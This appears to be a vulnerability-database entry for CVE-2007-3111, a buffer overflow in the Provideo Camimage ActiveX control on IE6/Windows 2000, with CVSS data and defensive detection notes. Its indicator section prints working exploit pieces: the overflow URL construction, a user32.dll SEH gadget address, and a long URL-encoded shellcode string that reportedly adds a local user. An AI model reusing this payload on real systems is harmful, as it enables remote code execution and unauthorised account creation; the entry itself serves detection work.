CVE-2007-3111

published 2007-06-07

CVE-2007-3111: Buffer overflow in the Provideo Camimage ActiveX control in ISSCamControl.dll 1.0.1.5, when Internet Explorer 6 is used on Windows 2000 SP4, allows remote…

Priority P3 49 critical 10 CVSS 2.0

AV N AC L Au N C C I C A C

EXPLOIT

Buffer overflow in the Provideo Camimage ActiveX control in ISSCamControl.dll 1.0.1.5, when Internet Explorer 6 is used on Windows 2000 SP4, allows remote attackers to execute arbitrary code via a long URL property value.

Affected

2 ranges

Vendor	Product	Version range	Fixed in
microsoft	internet_explorer	—	—
provideo	camimage_activex_control	—	—

Detection & IOCs extracted from sources · hover to see the quote

filename ISSCamControl.dll↗

version ISSCamControl.dll 1.0.1.5↗

other 0x77e6161e (call edi, user32.dll SEH handler)↗

command Camimage.URL = "http://www." + String(97,"a") + seh_handler + nop + shellcode + nop + ".com"↗

bytes↗

%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49%37%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%44%58%50%30%41%30%41%6b%41%41%54%42%41%32%41%41%32%42%41%30%42%41%58%38%41%42%50%75%68%69%39%6c%38%68%31%54%43%30%47%70%57%70%4c%4b%30%45%77%4c%6e%6b%31%6c%47%75%51%68%43%31%48%6f%6c%4b%52%6f%75%48%4c%4b%63%6f%31%30%53%31%38%6b%71%59%6c%4b%36%54%6c%4b%47%71%48%6e%64%71%4f%30%4d%49%6c%6c%4e%64%4b%70%30%74%76%67%4a%61%39%5a%76%6d%55%51%6b%72%4a%4b%68%74%47%4b%70%54%35%74%55%54%61%65%6b%55%6c%4b%41%4f%77%54%34%41%48%6b%71%76%6e%6b%46%6c%62%6b%6e%6b%33%6f%77%6c%54%41%68%6b%6e%6b%57%6c%6c%4b%46%61%48%6b%4f%79%61%4c%71%34%56%64%48%43%54%71%4b%70%31%74%4c%4b%37%30%46%50%4f%75%4f%30%41%68%46%6c%6e%6b%43%70%46%6c%6c%4b%30%70%35%4c%6e%4d%4e%6b%50%68%35%58%68%6b%56%69%6c%4b%4b%30%6e%50%57%70%53%30%73%30%4e%6b%62%48%67%4c%43%6f%50%31%4a%56%51%70%36%36%6d%59%58%78%6d%53%49%50%33%4b%56%30%42%48%41%6e%58%58%6d%32%70%73%41%78%6f%68%69%6e%6f%7a%54%4e%42%77%49%6f%38%67%33%53%30%6d%75%34%41%30%66%4f%70%63%65%70%52%4e%43%55%31%64%31%30%74%35%33%43%63%55%51%62%31%30%51%63%41%65%47%50%32%54%30%7a%42%55%61%30%36%4f%30%61%43%54%71%74%35%70%57%56%65%70%70%6e%61%75%52%54%45%70%32%4c%70%6f%70%63%73%51%72%4c%32%47%54%32%32%4f%42%55%30%70%55%70%71%51%65%34%32%4d%62%49%50%6e%42%49%74%33%62%54%43%42%30%61%42%54%70%6f%50%72%41%63%67%50%51%63%34%35%77%50%66%4f%32%41%61%74%71%74%35%50%44

• → Monitor for ActiveX instantiation of the Provideo Camimage control (ISSCamControl.dll) within Internet Explorer; a long string (>97 'a' chars) passed to the URL property is the exploit trigger. ↗
• → The exploit constructs a malicious URL of the form 'http://www.' + 97×'a' + SEH_overwrite + NOP_sled + shellcode + '.com' assigned to Camimage.URL — detect abnormally long URL property values set on this ActiveX control. ↗
• → The SEH overwrite targets address 0x77e6161e ('call edi') inside user32.dll on Windows 2000 SP4 — look for SEH chain corruption pointing to this address in crash/exploit telemetry. ↗
• → The shellcode payload adds a local user account ('su'/'tzu'); post-exploitation, monitor for unexpected new local user creation following ISSCamControl.dll activity. ↗

• · The exploit and SEH gadget address (0x77e6161e in user32.dll) are specific to Windows 2000 SP4 with Internet Explorer 6; the address will differ on other OS/patch levels. ↗

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